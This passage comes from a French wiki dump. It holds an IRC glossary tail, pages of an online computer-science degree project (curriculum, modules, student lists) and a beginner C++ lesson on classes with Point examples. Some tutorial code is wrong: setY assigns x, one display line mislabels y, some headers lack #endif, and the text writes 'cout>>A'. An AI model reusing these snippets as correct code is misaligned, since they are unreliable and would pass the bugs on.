d'envoyer une telle quantité de messages dans un canal IRC ou une boîte à lettres, que celui ou celle-ci sera saturé(e) et deviendra inutilisable. ===K=== ;Kick:Donner un "Coup-de-pied" à quelqu'un pour l'éjecter du salon de discussion. ===O=== ;Op:Désigne le status d''''op'''érateur ===W=== ;Wallop:Désigne la commande permettant d'envoyer un message à tous les opérateurs connectés. [[da:IRC-kursus]] [[en:Internet Technologies/IRC]] [[fi:IRC]] [[pl:IRC/Okładka]] Wikimodule:architecture des ordinateurs niveau 1 6881 40999 2006-04-26T19:33:09Z 193.251.169.175 /* Wikimodule en cours de développement */ {{wikimodule:architecture des ordinateurs niveau 1}} ==Présentation du module : architecture des ordinateurs== ==Wikimodule en cours de développement == Attention le module n'est pas encore finalisé. D'ailleurs le cours n'est pas encore terminé. Par contre, ce document a pour objectif de proposer un cadre de gestion des wikitudiants. Un wikietudiant voulant profiter d'une interaction avec un wikiprof doit s'inscrire et remplir la fiche de suivi. Le wikiprof suit alors sa progression et répond aux questions. Le wikitudiant rendra ses devoirs au wikiprof qui donnera son appréciation. Il faudra rajouter le concept de wikidevoirs, à faire en temps limité et sans document qui seront également notés par le wikiprof.<br/> ETAT DU MODULE : NON OUVERT == Quantité de travail à fournir == Chaque semaine de travail correspond à un travail d'environ 2 heures par semaine. ==Inscription au wikimodule == Chaque wikitudiant voulant suivre ce wikimodule doit s'inscrire et créer une page selon le modèle [[Wikimodule:architecture_des_ordinateurs_niveau_1:Etudiant_toto|Wikimodule:architecture des ordinateurs niveau 1:Etudiant_toto]]. Wikilicence informatique 6882 32081 2006-02-08T14:18:36Z Merrheim 1032 /* Actualité */ {{Wikilicence_informatique}} Bienvenue dans la wikilicence d'informatique. Ce diplôme vise à proposer un programme d'étude complet à réaliser à temps plein sur 3 ans. <br/>Il s'agit pour l'instant d'une expérimentation pour déterminer la faisabilité de l'apprentissage dans un contexte wiki, gratuit et ouvert à tous. Bien sûr, vous constaterez qu'il n'y a pour l'instant que très peu de modules complètement terminés. Que chacun se sente libre de participer au projet. <br/> Un seul slogan pour cette expérience : '''"Et si on réussissait..."''' <br/> <br/> '''Attention ce diplôme n'est actuellement reconnu par aucun organisme ''' ==Actualité == * Notre premier étudiant s'est inscrit ! Bienvenue à lui et bon travail ! * Proposition de présentation pour un diplôme. * 2 modules sont en cours de rédaction : architecture des ordinateurs et langage C++ niveau 1. Modèle:Wikilicence informatique 6883 32053 2006-02-08T13:42:51Z Merrheim 1032 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Wikilicence_informatique|Wikilicence d'informatique]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikiversité:Département informatique|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Wikilicence d'informatique]] |- | bgcolor="#E0E0F0" align="center" |''' Wikilicence d'informatique''' |- | bgcolor="white" | *<small>[[Wikilicence_informatique/Présentation|Présentation]]</small> *<small>[[Wikilicence_informatique/Programme|Programme]]</small> *<small>[[Wikilicence_informatique/Wikimodules|Wikimodules]]</small> *<small>[[Wikilicence_informatique/Ressources|Ressources]]</small> *<small>[[Wikilicence_informatique/Wikiprofs|Wikiprofs]]</small> *<small>[[Wikilicence_informatique/Wikitudiants|Wikitudiants]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Wikilicence_informatique&action=edit | Modifier ce modèle]</small> |} Wikilicence informatique/Présentation 6884 31651 2006-02-06T10:45:29Z Merrheim 1032 /* Présentation de la Wikilicence d'informatique */ {{Wikilicence_informatique}} ==Présentation de la Wikilicence d'informatique== La wikilicence d'informatique est un programme d'études destiné à être étudié sur une durée de 3 ans à temps plein. Ce diplôme est destiné à former des informaticiens professionnels. Il propose des cours d'informatiques, accompagnés d'exercices, d'exemples, de travaux à effectuer et de WikiDS à réaliser. Chacun est libre de s'inscrire gratuitement ou simplement de suivre les cours anonymement. Ce programme s'adresse toutefois à des étudiants ayant le niveau moyen d'un baccalauréat scientifique (dans le système universitaire français).<br/> Ce diplôme a comme objectif de permettre à l'étudiant de s'insérer dans la vie professionnelle en tant qu'informaticien, tout en ayant des bases théoriques solides. Une interaction '''théorie-pratique-entreprises''' est largement souhaitable et souhaitée. Wikilicence informatique/Programme 6885 44204 2006-06-09T04:11:26Z Djo0012 1617 /* Le programme de la Wikilicence d'informatique */ delete du double titre {{Wikilicence_informatique}} == Programme de la wikilicence d'informatique == *'''Programmation et algorithmique''' **Algorithmique de base **La programmation orientée objet **Le langage C **Le langage C++ **Interfaces graphiques en C++ **Le langage Java **Le langage php *'''Architectures systèmes et réseaux''' **Architecture des ordinateurs **Les systèmes d'exploitation **Les réseaux **Administration système et réseaux sous Linux **Administration système et réseaux sous Windows **Programmation système sous Linux **Programmation système sous Windows *'''Bases de données''' *'''Mathématiques pour l'informatique''' *'''Anglais''' *'''Expression''' *'''Entreprises et métiers de l'informatique''' *'''Projets''' *'''Stages''' Wikilicence informatique/Wikimodules 6886 44205 2006-06-09T04:12:51Z Djo0012 1617 /* Les Wikimodules de la Wikilicence d'informatique */delete double titre {{Wikilicence_informatique}} ==Les Wikimodules de la Wikilicence d'informatique== *'''Semestre 1 (26 heures par semaine) '''<br/> Algorithmique et structure de données : niveau 1 (4 heures par semaine) <br/> [[Wikimodule:langage C++ niveau 1]] (4 heures par semaine)<br/> [[Wikimodule:architecture des ordinateurs niveau 1]] (4 heures par semaine)<br/> Bases de données niveau 1 (4 heures par semaine)<br/> [[Wikimodule:Introduction aux réseaux]] (2 heures par semaine) <br/> Savoir utiliser un ordinateur (2 heures par semaine)<br/> Anglais module 1 (2 heures par semaine)<br/> Expression module 1 (2 heures par semaine)<br/> Mathématiques pour l'informatique module 1 (2 heures par semaine)<br/> *'''Semestre 2 '''<br/> Algorithmique et structures de données : niveau 2<br/> Langage C++ niveau 2<br/> Le langage PHP niveau 1<br/> Architecture des ordinateurs niveau 2<br/> Les réseaux éthernet <br/> Bases de données niveau 2<br/> Entreprises et métiers de l'informatique module 1<br/> Anglais module 2 <br/> Expression module 2 <br/> Mathématiques pour l'informatique module 2<br/> Wikistage n°1<br/> *'''Semestre 3 '''<br/> Interfaces graphiques en C++<br/> Le langage java niveau 1<br/> Le langage PHP niveau 2<br/> Les réseaux TCP/IP <br/> Administration de réseaux niveau 1 <br/> Système d'exploitation niveau 1<br/> Bases de données niveau 3<br/> Entreprises et métiers de l'informatique module 2<br/> Anglais module 3 <br/> Expression module 3 <br/> Mathématiques pour l'informatique module 3<br/> *'''Semestre 4 '''<br/> Le langage java niveau 2<br/> Administration de réseaux niveau 2 <br/> Projet de C++ <br/> Projet de PHP<br/> Système d'exploitation niveau 2<br/> Bases de données niveau 4<br/> Entreprises et métiers de l'informatique module 3<br/> Anglais module 4 <br/> Expression module 4 <br/> Mathématiques pour l'informatique module 4<br/> Wikistage n°2<br/> *'''Semestre 5 '''<br/> Administration de réseaux niveau 3 <br/> Projet de Java<br/> La plateforme .net<br/> Bases de données niveau 5<br/> Entreprises et métiers de l'informatique module 4<br/> Système d'exploitation niveau 3<br/> Anglais module 5 <br/> Expression module 5 <br/> *'''Semestre 6 '''<br/> La plateforme J2EE <br/> Bases de données niveau 6<br/> Anglais module 6 <br/> Expression module 6 <br/> Entreprises et métiers de l'informatique module 5<br/> Projet .net<br/> Projet J2EE<br/> Wikistage n°3<br/> Wikilicence informatique/Ressources 6887 31720 2006-02-06T12:15:03Z Merrheim 1032 /* Autres ressources */ {{Wikilicence_informatique}} ==Les ressources pédagogiques de la Wikilicence d'informatique== ===Ressources utilisées par les différents modules === [[ Programmation_C_plus_plus_debutants|Un cours sur le langage C++ (en construction)]]<br/> [[ Architecture des ordinateurs|Architecture des ordinateurs]]<br/> ===Autres ressources === [[Wikiversité:Département_informatique#La_bibliothèque_du_département_informatique|la bibliothèque du département informatique]]<br/> [[Accueil/Informatique|L'étagère informatique de wikilivre]] Wikilicence informatique/Wikiprofs 6888 45405 2006-06-22T15:11:33Z Carnops 1287 /* L'équipe pédagogique de la Wikilicence d'informatique */ {{Wikilicence_informatique}} ==L'équipe pédagogique de la Wikilicence d'informatique== Toute personne ayant contribué de près ou de loin à un des modules ou une des ressources de la wikilicence d'informatique est libre de mettre son nom ici si elle le souhaite. * Xavier Merrheim (me laissez pas tout seul) * Fabien ZIZEK (pour pas laisser tout seul Xavier) * [[utilisateur:daxuza|daxuza]] * Carnops Wikilicence informatique/Wikitudiants 6889 46632 2006-06-30T18:02:11Z Guillaumito 46 restitution de la dernière modification de Pierre.Siboni {{Wikilicence_informatique}} ==Les étudiants de la Wikilicence d'informatique== Si vous désirez suivre les cours de la wikilicence n'hésitez pas à inscrire votre nom ici : c'est gratuit ! Pour les timides, vous pouvez bien sûr accéder en auditeur libre à chacun des modules. :[[utilisateur:jubei|jubei]] :[[utilisateur:Zulul|zulul]] :[[Utilisateur:Gregory.lussier|Gregory.lussier]] :[[Utilisateur:Dhh|dhh]] :[[Utilisateur:Dionysos|Dionysos]] :[[Utilisateur:Armine|Armine]] :[[Utilisateur:dragon|dragon]] :[[Utilisateur:Nerick|Nerick]] :[[Utilisateur:Demix|Demix]] :[[Utilisateur:Carnops|Carnops]] :[[Utilisateur:Doomdoom|Doomdoom]] :[[Utilisateur:kramerscott|kramerscott]] :[[Utilisateur:X-Javier|X-Javier]] :[[Utilisateur:Hugo-BOBDA|Hugo-BOBDA]] :[[Utilisateur:Delagela|Delagela]] :[[Utilisateur:Adniang75|Adniang75]] :[[Utilisateur:Chris|Chris]] :[[Utilisateur:adil|adil]] :[[Utilisateur:ben25|ben25]] :[[Utilisateur:unikos|unikos]] :[[Utilisateur:Pierre.Siboni|Pierre.Siboni]] Modèle:Wikimodule:langage C++ niveau 1 6891 31684 2006-02-06T11:41:22Z Merrheim 1032 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Wikimodule:langage C++ niveau 1|Le langage C++ niveau 1]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikilicence_informatique/Wikimodules|Wikilicence d'informatique]]'' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikiversité:Département informatique|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Wikilicence d'informatique]] |- | bgcolor="#E0E0F0" align="center" |''' Wikimodule''' |- | bgcolor="white" | *<small>[[Wikimodule:langage_C++_niveau_1|Présentation]]</small> *<small>[[Wikimodule:langage_C++_niveau_1/Programme|Programme]]</small> *<small>[[Wikimodule:langage_C++_niveau_1/Contenu|Contenu]]</small> *<small>[[Wikimodule:langage_C++_niveau_1/Ressources|Les ressources du module]]</small> *<small>[[Wikimodule:langage_C++_niveau_1/Wikitudiants|Liste des Wikitudiants<br/>du module ]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Wikimodule:langage_C++_niveau_1&action=edit | Modifier ce modèle]</small> |} Wikimodule:langage C++ niveau 1/Programme 6892 31669 2006-02-06T11:34:17Z Merrheim 1032 {{Wikimodule:langage_C++_niveau_1}} ==Programme du module== Wikimodule:langage C++ niveau 1/Contenu 6893 31690 2006-02-06T11:45:55Z Merrheim 1032 /* Contenu du module */ {{Wikimodule:langage_C++_niveau_1}} ==Contenu du module== Le wikitudiant trouvera ici, semaine par semaine, le travail à accomplir. Libre à lui d'aller plus vite ou moins vite en fonction de son niveau et de ses disponibilités. Dès que le travail d'une semaine est terminé, le wikétudiant n'oubliera pas de remplir sa fiche de suivi du module. <br/> Le cours, les exercices et les travaux dirigés de ce wikimodule sont issus de cette ressource.<br/> [[ Programmation_C_plus_plus_debutants|Un cours sur le langage C++]]<br/> === Semaine 1 === Etudier le chapitre 1.<br/> Faire l'exercice 1 du chapitre 1. === Semaine 2 === Etudier le chapitre 2<br/> Faire les 5 exercices du chapitre 2. === Semaine 3 === Etudier le chapitre 3<br/> Faire les exercices de 1 à 5 du chapitre 3. === Semaine 4 === Faire les exercices de 6 à 9 du chapitre 3<br/> Etudier le chapitre 4 === Semaine 5 === Faire les exercices de 1 à 10 du chapitre 4<br/> Etudier le chapitre 5 === Semaine 6 === Faire les exercices de 11 à 20 du chapitre 4 === Semaine 7 === Etudier le chapitre 6<br/> Faire les exercices de 1 à 5 du chapitre 6 === Semaine 8 === Faire les exercices de 6 à 10 du chapitre 6<br/> [[Wikimodule:langage C++ niveau 1:DS1|'''WIKI DS n° 1''' ]] === Semaine 9 === Etudier le chapitre 7<br/> Faire les exercices de 1 à 5 du chapitre 7 ===Semaine 10 === Faire les exercices de 5 à 10 du chapitre 7<br/> Etudier le chapitre 8 ===Semaine 11=== Faire les exercices de 1 à 8 du chapitre 8 === Semaine 12 === Etudier le chapitre 9<br/> Faire l'exercice 1 du chapitre 9 === Semaine 13 === Faire les exercices 2 et 3 du chapitre 9<br/> '''WIKI DS n° 2''' === Semaine 14 === Etudier le chapitre 10 <br/> faire les exercices de 1 à 5 du chapitre 10 === Semaine 15 === Faire l'exercice 6 du chapitre 10 === Semaine 16 === '''WIKI DS n° 3''' Wikimodule:langage C++ niveau 1/Wikitudiants 6894 44831 2006-06-17T11:52:04Z Ben25 1651 /* Liste des étudiants inscrits au module */ {{Wikimodule:langage_C++_niveau_1}} ==Liste des étudiants inscrits au module== :[[Wikimodule:langage C++ niveau1:Etudiant_toto|Wikimodule:langage C++ niveau1:Etudiant_toto]] (modèle) :[[Utilisateur:Zulul/Wikimodule:langage C++ niveau1:Etudiant zulul]] :[[Utilisateur:Dionysos/Wikimodule:langage C++ niveau1:Etudiant Dionysos]] :[[Utilisateur:Demix/Wikimodule:langage C++ niveau1:Etudiant Demix]] :[[Utilisateur:Carnops/Wikimodule:langage C++ niveau1:Etudiant Carnops]] :[[Utilisateur:Hugo-BOBDA/Wikimodule:langage C++ niveau1:Etudiant Hugo-BOBDA]] :[[Utilisateur:Adniang75/Wikimodule:langage C++ niveau1:Etudiant Adniang75]] :[[Utilisateur:ben25/Wikimodule:langage C++ niveau1:Etudiant ben25]] Wikimodule:langage C++ niveau 1/Ressources 6895 31966 2006-02-07T14:42:06Z Merrheim 1032 /* Ressources complémentaires */ {{Wikimodule:langage_C++_niveau_1}} == Les ressources utilisées pour ce module == Le cours, les exercices et les travaux dirigés de ce wikimodule sont issus de cette ressource.<br/> [[ Programmation_C_plus_plus_debutants|Un cours sur le langage C++ (en construction)]]<br/> ==Ressources complémentaires== [[ Programmation_C_plus_plus|Un livre référence sur le langage C++ (en construction)]]<br/> Modèle:Wikimodule:architecture des ordinateurs niveau 1 6897 31697 2006-02-06T11:55:24Z Merrheim 1032 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Wikimodule:architecture des ordinateurs niveau 1|Architecture des ordinateurs niveau 1]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikilicence_informatique/Wikimodules|Wikilicence d'informatique]]'' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikiversité:Département informatique|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Wikilicence d'informatique]] |- | bgcolor="#E0E0F0" align="center" |''' Wikimodule''' |- | bgcolor="white" | *<small>[[Wikimodule:architecture des ordinateurs_niveau_1|Présentation]]</small> *<small>[[Wikimodule:architecture des ordinateurs_niveau_1/Programme|Programme]]</small> *<small>[[Wikimodule:architecture des ordinateurs_niveau_1/Contenu|Contenu]]</small> *<small>[[Wikimodule:architecture des ordinateurs_niveau_1/Ressources|Les ressources du module]]</small> *<small>[[Wikimodule:architecture des ordinateurs_niveau_1/Wikitudiants|Liste des Wikitudiants<br/>du module ]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Wikimodule:architecture_des_ordinateurs_niveau_1&action=edit | Modifier ce modèle]</small> |} Wikimodule:architecture des ordinateurs niveau 1/Programme 6898 31701 2006-02-06T11:57:23Z Merrheim 1032 {{wikimodule:architecture des ordinateurs niveau 1}} ==Programme du module : architecture des ordinateurs== Wikimodule:architecture des ordinateurs niveau 1/Contenu 6899 31711 2006-02-06T12:01:05Z Merrheim 1032 /* Progression du wikimodule */ {{wikimodule:architecture des ordinateurs niveau 1}} ==Contenu du module : architecture des ordinateurs== Le wikitudiant trouvera ici, semaine par semaine, le travail à accomplir. Libre à lui d'aller plus vite ou moins vite en fonction de son niveau et de ses disponibilités. Dès que le travail d'une semaine est terminé, le wikétudiant n'oubliera pas de remplir sa fiche de suivi du module. === Semaine 1 === Etudier l'introduction et le chapitre '''Représentation des données''' de la ressource [[ Architecture des ordinateurs|Architecture des ordinateurs (en construction)]]. === Semaine 2 === Faire les exercices de 1 à 6 du chapitre '''Représentation des données''' de la ressource [[ Architecture des ordinateurs|Architecture des ordinateurs (en construction)]]. === Semaine 3 === Etudier le chapitre '''Codes détecteurs et correcteurs d'erreurs''' de la ressource [[ Architecture des ordinateurs|Architecture des ordinateurs (en construction)]]. === Semaine 4 === === Semaine 5 === === Semaine 6 === === Semaine 7 === === Semaine 8 === === Semaine 9 === ===Semaine 10 === ===Semaine 11=== === Semaine 12 === === Semaine 13 === === Semaine 14 === === Semaine 15 === === Semaine 16 === Wikimodule:architecture des ordinateurs niveau 1/Ressources 6900 31708 2006-02-06T11:59:44Z Merrheim 1032 {{wikimodule:architecture des ordinateurs niveau 1}} ==Les ressources du module : architecture des ordinateurs== == Les ressources wiki utilisées pour ce module == Le cours, les exercices et les travaux dirigés de ce wikimodule sont issus de cette ressource.<br/> [[ Architecture des ordinateurs|Architecture des ordinateurs]]<br/> Wikimodule:architecture des ordinateurs niveau 1/Wikitudiants 6901 42501 2006-05-16T14:03:40Z 195.24.223.138 /* Liste des wikitudiants du module : architecture des ordinateurs */ {{wikimodule:architecture des ordinateurs niveau 1}} ==Liste des wikitudiants du module : architecture des ordinateurs== [[Wikimodule:architecture_des_ordinateurs_niveau_1:Etudiant_toto|Wikimodule:architecture_des_ordinateurs_niveau_1:Etudiant_toto]] [[Wikimodule:architecture_des_ordinateurs_niveau_1:Carnops|Wikimodule:architecture_des_ordinateurs_niveau_1:Etudiant Carnops]] [[Wikimodule:architecture_des_ordinateurs_niveau_1:Hugo-BOBDA|Wikimodule:architecture_des_ordinateurs_niveau_1:Etudiant Hugo-BOBDA]] Programmation C++ (débutant)/Les classes 6904 44026 2006-06-06T13:06:52Z 198.102.219.131 /* Encapsulation */ {{C++ débutant}} == Le cours du chapitre 11 : Les classes== __TOC__ === Une évolution des structures === Une fois introduite la notion de structures, on s'aperçoit qu'il est totalement naturel de créer des fonctions permettants de manipuler ces structures. La notion de classe est donc une notion plus puissante que la notion de structures. Une classe va permettre de regrouper en une seule entité des données membres et des fonctions membres appelées méthodes. === Notion de classe === Une classe regroupera donc : * des données membres. * des méthodes membres qui seront des fonctions. === Un premier exemple de classe === *On veut manipuler des points définis par une abscisse et une ordonnée (des réels). *Sur un point, on peut calculer la distance entre 2 points et le milieu de 2 points. *Nous allons donc définir une classe Point définie par un fichier .h et un fichier .cpp. ===Exemple 1 : la classe Point === '''Le fichier Point.h''' <pre> #ifndef POINT_H #define POINT_H class Point { public: double x,y; double distance(const Point &P); Point milieu(const Point &P); }; </pre> '''Explications'''<br/> On définit dans ce fichier la classe Point : elle contient 2 données de type double x et y et 2 méthodes membres distance qui calcule la distance entre ce point et un autre Point et milieu qui calcule le milieu du segment composé de ce point et d'un autre Point.<br/> On remarque l'utilisation des directives de compilation #ifndef, #define et #endif pour gérer les inclusions multiple du fichier header.<br/><br/> '''Le fichier Point.cpp''' <pre> #include "Point.h" #include<cmath> double Point::distance(const Point &P) { double dx,dy; dx=x-P.x; dy=y-P.y; return sqrt(dx*dx+dy*dy); } Point Point::milieu(const Point &P) { Point M; M.x=(P.x+x)/2; M.y=(P.y+y)/2; return M; } </pre> '''Explications'''<br/> *Il contient l'implémentation de chaque méthode de la classe Point. *On fait précéder chaque méthode de Point::< *On a inclut le fichier cmath afin de pouvoir utiliser la fonction sqrt de cmath (racine carrée). *A l'intérieur de la classe Point, on peut accéder directement à l'abscisse du point en utilisant la donnée membre x. *On peut accéder à l'abscisse du paramètre P d'une méthode en utilisant P.x. <br/> '''Le fichier main.cpp''' <pre> #include <iostream> using namespace std; #include"Point.h" int main() { Point A,B,C; double d; cout<<"SAISIE DU POINT A"<<endl; cout<<"Tapez l'abscisse : ";cin>>A.x; cout<<"Tapez l'ordonnée : ";cin>>A.y; cout<<endl; cout<<"SAISIE DU POINT B"<<endl; cout<<"Tapez l'abscisse : ";cin>>B.x; cout<<"Tapez l'ordonnée : ";cin>>B.y; C=A.milieu(B); d=A.distance(B); cout<<endl; cout<<"MILIEU DE AB"<<endl; cout<<"L'abscisse vaut : "<<C.x<<endl; cout<<"L'ordonnée vaut : "<<C.y<<endl; cout<<endl; cout<<"La distance AB vaut :"<<d<<endl; return 0; } </pre> '''Explications'''<br/> *Une fois inclus le fichier header Point.h, on peut définir 3 points A, B et C. *A, B et C sont 3 objets qui sont des instances de la classe Point. *Les données membres étant publiques, on peut accéder à l'abcsisse et à l'ordonnée de A en dehors de la classe en écrivant A.x et A.y. *Les méthodes membres distance et milieu étant publiques, on peut écrire directement A.milieu(B) ou A.distance(B). <br/> '''Exécution'''<br/> Lorsqu'on exécute ce programme, il s'affiche à l'écran : <br/> SAISIE DU POINT A <br/> Tapez l'abscisse : 3.2 <br/> Tapez l'ordonnée : 1.4 <br/> SAISIE DU POINT B <br/> Tapez l'abscisse : 5 <br/> Tapez l'ordonnée : 6<br/> MILIEU DE AB<br/> L'abscisse vaut : 4.1<br/> L'ordonnée vaut : 3.7<br/> La distance AB vaut : 4.93964<br/> ===Encapsulation=== *Il faut éviter de donner un accès extérieur aux données membres d'un objet quelconque. *On va interdire l'accès à certaines données membres d'une classe ou certaines méthodes en utilisant le mot clé private. *On ne peut accéder à une variable (ou une méthode membre) privée que par l'intérieur de la classe. * par contre, on peut accéder librement à toutes les données membres ou méthodes membres publiques. *Cette technique fondamentale permet d'empêcher au programmeur de faire n'importe quoi : il ne pourra accéder à ces données que par les méthodes publiques. ===Interface et boîte noire=== *Vu de l'extérieur, on ne peut accéder à un objet donné que grâce à ces méthodes publiques. *Ceci permet entre autre de protéger l'intégrité des données. *L'ensemble des méthodes publiques est appelée l'interface de l'objet. *De l'extérieur, l'objet peut être vu comme une boîte noire qui possède une interface d'accès. *On cache ainsi à l'utilisateur de cette classe comment cette interface est implémentée : seule le comportement de l'interface est importante. ===Accesseurs et mutateurs=== *On pourra accéder aux valeurs des données membres privées grâce à des méthodes spécifiques appelée accesseurs. Les accesseurs seront publics. *On pourra même modifier ces valeurs grâce à des fonctions spécifiques appelées mutateurs. *Cela permet au programmeur d'avoir un contrôle complet sur ces données et sur des contraintes en tout genre qu'il veut imposer à ces données. === Exemple 2 : accesseurs et mutateurs=== '''Le fichier Point.h''' <pre> #ifndef POINT_H #define POINT_H class Point { public: void setX(double x); void setY(double y); double getX(); double getY(); double distance(const Point &P); Point milieu(const Point &P); void saisir(); void afficher(); private: double x,y; }; </pre> '''Explications'''<br/> *La méthode void setX(double x) est un mutateur qui permet de modifier la donnée membre privée x. *Idem pour void setY(double y) avec la donnée membre privée y. *Les méthodes double getX() et double getY() sont des accesseurs qui permettent d'accéder aux valeurs respectives des données membres privées x et y. *Les méthodes saisir() et afficher() permettent respectivement de saisir et d'afficher les coordonnées des points.<br/> '''Le fichier Point.cpp''' <pre> #include "Point.h" #include<cmath> #include <iostream> using namespace std; void Point::setX(double x) { this->x=x; } void Point::setY(double y) { this->x=x; } double Point::getX() { return x; } double Point::getY() { return y; } double Point::distance(const Point &P) { double dx,dy; dx=x-P.x; dy=y-P.y; return sqrt(dx*dx+dy*dy); } Point Point::milieu(const Point &P) { Point M; M.x=(P.x+x)/2; M.y=(P.y+y)/2; return M; } void Point::saisir() { cout<<"Tapez l'abscisse : ";cin>>x; cout<<"Tapez l'ordonnée : ";cin>>y; } void Point::afficher() { cout<<"L'abscisse vaut "<<x<<endl; cout<<"L'abscisse vaut "<<y<<endl; } </pre> '''Explications'''<br/> *Dans la méthode setX(...), il y a une utilisation du mot-clé this. Le mot clé this désigne un pointeur vers l'instance courante de la classe elle même. this->x désigne donc la donnée membre de la classe alors que x désigne le paramètre de la méthode void setX(double x); *Le mutateur double getX(); se contente de renvoyer la valeur de x. '''Le fichier main.cpp'''<br/> <pre> #include <iostream> using namespace std; #include"Point.h" int main() { Point A,B,C; double d; cout<<"SAISIE DU POINT A"<<endl; A.saisir(); cout<<endl; cout<<"SAISIE DU POINT B"<<endl; B.saisir(); cout<<endl; C=A.milieu(B); d=A.distance(B); cout<<"MILIEU DE AB"<<endl; C.afficher(); cout<<endl; cout<<"La distance AB vaut :"<<d<<endl; return 0; } </pre> '''Explications'''<br/> *On n'a plus le droit d'accéder aux données membres x et y sur les instances de Point A, B et C en utilisant A.x ou B.y : il faut obligatoirement passer la une des méthodes publiques. *Pour saisir la valeur de A, il suffit d'écrire A.saisir(); *Pour afficher la valeur de B, il suffit d'écrire A.afficher(); '''Exécution'''<br/> Lorsqu'on exécute ce programme, il s'affiche à l'écran : <br/> SAISIE DU POINT A<br/> Tapez l'abscisse : 3.2<br/> Tapez l'ordonnée : 1.4<br/> SAISIE DU POINT B<br/> Tapez l'abscisse : 5<br/> Tapez l'ordonnée : 6<br/> MILIEU DE AB<br/> L'abscisse vaut : 4.1<br/> L'ordonnée vaut : 3.7<br/> La distance AB vaut : 4.93964<br/> === Utiliser les opérateurs >> et <<=== *Pour pouvoir saisir un Point au clavier, on pourrait écrire tout simplement cin >> A; où A est une instance de la classe Point. *Pour écrire un Point à l'écran, on peut écrire tout simplement cout << B. *Nous allons utiliser pour cela les fonctions operator>> et operator<<. *Dans l'exemple 3, on utilisera une manière de procéder assez personnelle sans utiliser de fonctions amies; *Dans l'exemple 4, nous verrons la méthode qui semble plus classique basée sur les fonctions amies. ===Exemple 3 : l'opérateur >> et l'opérateur<< === '''Fichier Point.h''' <pre> #ifndef POINT_H #define POINT_H #include<iostream> using namespace std; class Point { public: void setX(double x); void setY(double y); double getX(); double getY(); double distance(const Point &P); Point milieu(const Point &P); void operator>>(ostream &out); void operator<<(istream &in); private: double x,y; }; #endif </pre> '''Explications'''<br/> *On définit une méthode operator>>(ostream &out); qui permet d'afficher le point en utilisant le ostream out (le plus souvent ce sera cout). *On définit une méthode operator<<(istream &in); qui permet de saisir le point au clavier en utilisant le istream in (le plus souvent ce sera cin). '''Le fichier Point.cpp'''<br/> Les fonctions setX(), setY(), getX(), getY(), distance() et milieu sont identiques à celle de l'exemple 2. On définit les 2 opérateurs de la manière suivante : <pre> void Point::operator>>(ostream &out) { out<<"L'abscisse vaut "<<x<<endl; out<<"L'ordonnée vaut "<<y<<endl; } void Point::operator<<(istream &in) { cout<<"Tapez l'abscisse : "; in>>x; cout<<"Tapez l'ordonnée : ";in>>y; } </pre> '''Fichier main.cpp''' <pre> #include <iostream> using namespace std; #include"Point.h" int main() { Point A,B,C; double d; cout<<"SAISIE DU POINT A"<<endl; A<<cin; cout<<endl; cout<<"SAISIE DU POINT B"<<endl; B<<cin; cout<<endl; C=A.milieu(B); d=A.distance(B); cout<<"MILIEU DE AB"<<endl; C>>cout; cout<<endl; cout<<"La distance AB vaut :"<<d<<endl; return 0; } </pre> '''Explications : '''<br/> On peut directement saisir les coordonnées d'un point pas A<<cin ou l'afficher à l'écran par A>>cout.<br/> '''Exécution : '''<br/> Lorsqu'on exécute ce programme, il s'affiche à l'écran : <br/> SAISIE DU POINT A <br/> Tapez l'abscisse : 3.2 <br/> Tapez l'ordonnée : 1.4 <br/> SAISIE DU POINT B <br/> Tapez l'abscisse : 5 <br/> Tapez l'ordonnée : 6 <br/> MILIEU DE AB <br/> L'abscisse vaut : 4.1 <br/> L'ordonnée vaut : 3.7 <br/> La distance AB vaut : 4.93964 <br/> === La notation A<<cout=== *On peut attacher l'opérateur de >> à la classe Point comme dans l'exemple 3. *Certains préfèrent toutefois écrire de manière plus usuelle : cout>>A; *Ils arguments parfois en disant qu'en plus cela permet d'enchaîner les affichages en écrivant : cout>>A>>endl>>B; *Il faudrait donc normalement définir une méthode operator>>(const Point &A) sur la classe ostream. *Or la classe ostream est déjà écrite ! ===Les fonctions amies=== *Pour pouvoir écrire cout>>A; il faut écrire une fonction ostream & operator<<(ostream &, const Point &P); *Le plus pratique est que cette fonction ait le droit d'accéder aux données membres privées de la classe Point. *On va donc la créer en tant que fonction amie en utilisant le mot-clé friend. *L'abus de fonctions amies rompt avec le principe d'encapsulation : à utiliser avec précaution. ===Exemple 4 : les fonctions amies=== '''Le fichier Point.h''' <pre> #ifndef POINT_H #define POINT_H class Point { friend istream & operator>>(istream &, Point &P); friend ostream & operator<<(ostream &, const Point &P); public: void setX(double x); void setY(double y); double getX(); double getY(); double distance(const Point &P); Point milieu(const Point &P); private: double x,y; }; #endif </pre> '''Explications'''<br/> *Nous avons défini deux fonctions amies de la classe Point : ce ne sont pas des méthodes membres. *Leur définitions est la suivante : <br/> friend istream & operator>>(istream &, Point &P); <br/> friend ostream & operator<<(ostream &, const Point &P); <br/> Elles renvoient respectivement une référence vers un istream et un ostream pour pouvoir enchaîner par exemple : cout>>A>>B; '''Le fichier Point.cpp'''<br/> Voici l'implémentation de ces fonctions amies :<br/> <pre> ostream & operator<<(ostream & out, const Point &P) { out<<"L'abscisse vaut "<<P.x<<endl; out<<"L'ordonnée vaut "<<P.y<<endl; return out; } 